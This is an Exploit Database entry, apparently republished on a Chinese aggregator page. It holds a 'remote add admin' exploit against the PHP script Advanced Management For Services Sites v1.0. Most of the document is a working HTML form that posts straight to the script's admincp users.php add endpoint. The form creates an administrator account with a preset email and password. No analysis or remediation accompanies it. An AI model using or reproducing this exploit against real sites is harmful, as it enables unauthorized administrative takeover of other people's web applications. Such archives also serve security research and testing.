Advanced Management For Services Sites – Remote Add Admin

Exploit Database
129 阅读

作者： alnjm33

日期： 2010-04-03
类别：
- webapps
平台：
- php
来源：https://www.exploit-db.com/exploits/12031/

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

54

55

56

57

58

59

60

61

62

63

64

65

66

67

68

69

70

71

72

73

74

75

76

77

78

79

80

81

82

83

84

85

86

87

88

89

90

91

92

93

94

95

96

97

98

99

100

101

102

103

104

105

106

107

108

109

110

111

112

113

114

115

116

117

118

119

120

121

122

123

124

125

126

127

128

129

130

131

132

133

134

135

::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::

Exploit Title : Advneced Management For Services Sites Remote add admin exploit

Author: alnjm33

Software Link: http://am4ss.com/am4ss.zip

Tested on: Version 1.0

My home : Sec-war.com

::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::

==========================================Dork==========================================

find it

================================Exploit=============================================

<html dir="rtl">

<head>

<meta http-equiv="Content-Language" content="en-us">

<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">

<title>sec-war.com</title>

</head>

<body text="#00FF00" bgcolor="#000000">

<form method="post" action="http://localhost/am4ss//admincp//users.php?do=add">

<p align="center"><b><br>

login with </b></p>

<p align="center"><a href="mailto:sec-war@demo.net"><font color="#C0C0C0">

sec-war@demo.net</font></a></p>

<p align="center"><b>pass</b></p>

<p align="center">123456</p>

<table class="tborder" id="table32" style="BORDER-COLLAPSE: separate" cellSpacing="0" cellPadding="4" width="90%" align="center" border="0">

<colgroup span="2">

<col style="WIDTH: 45%"><col style="WIDTH: 55%">

</colgroup>

<thead>

<tr>

<td class="tcat" align="middle" colSpan="2" height="27"><b>add new admin </b>

</td>

</tr>

</thead>

<tr vAlign="top">

<td class="optiontitle" colSpan="2">

<p align="center"> </td>

</tr>

<tbody id="tbody_bbtitle">

<tr vAlign="top">

<td class="alt1" width="45%">

<div class="smallfont">

<p align="center">Name*</div>

</td>

<td class="alt1" width="52%">

<p align="center">

<input class="bginput" dir="rtl" tabIndex="1" size="40" name="userfullname" value="Security War">

</td>

</tr>

<tr vAlign="top">

<td class="optiontitle" colSpan="2">

<div>

<p align="center"> </div>

</td>

</tr>

<tbody id="tbody_bbtitle">

<tr vAlign="top">

<td class="alt1" width="45%">

<p align="center">PASS must me*</td>

<td class="alt1" width="52%">

<p align="center">

<input class="bginput" dir="rtl" tabIndex="1" type="password" size="40" name="password" value="123456"><span lang="fr">

</span></td>

</tr>

<tr vAlign="top">

<td class="optiontitle" colSpan="2">

<div>

<p align="center"> </div>

</td>

</tr>

<tbody id="tbody_bbtitle">

<tr vAlign="top">

<td class="alt1" width="45%">

<div class="smallfont">

<p align="center">username email *</div>

</td>

<td class="alt1" width="52%">

<p align="center">

<input class="bginput" dir="rtl" tabIndex="1" size="40" name="useremail" value="sec-war@demo.net"><span lang="fr">

</span></td>

</tr>

<tr vAlign="top">

<td class="optiontitle" colSpan="2">

</td>

</tr>

<tbody id="tbody_bbtitle">

<tr vAlign="top">

<td class="alt1" width="45%">

<div class="smallfont">

<p align="center"><font face="Tahoma">forget it i made it

egypt</font></div>

</td>

<td class="alt1" width="52%">

<p align="center">

<select class="Edits" style="width: 181; height: 53" name="country" size="99" tabindex="10">

<option value="ET"></option>

<option>-- --</option>

<option value="MA"> </option>

<option value="EG" selected></option>

</select> <span lang="fr"></span></td>

</tr>

<tr vAlign="top">

<td class="optiontitle" colSpan="2">

<div>

<p align="center"> </div>

</td>

</tr>

<tbody id="tbody_bbtitle">

<tbody id="tbody_bbtitle">

<tr vAlign="top">

<td class="alt1" width="45%">

<div class="smallfont">

<p align="center"><font face="Tahoma">forget it i made it

admin </font></div>

</td>

<td class="alt1" width="52%">

<p align="center">

<select name="usergroup" size="1" tabindex="1">

<option value="3"></option>

<option value="2"></option>

<option value="1"></option>

</select> <span lang="fr"></span></td>

</tr>

<tbody id="tbody_bbtitle">

<tr>

<td class="tfoot" align="middle" colSpan="2">

<input class="button" id="submit" type="submit" value="ok add">

</td>

</tr>

</table>

<input type="hidden" name="do" value="save">

</form>

</body>

</html>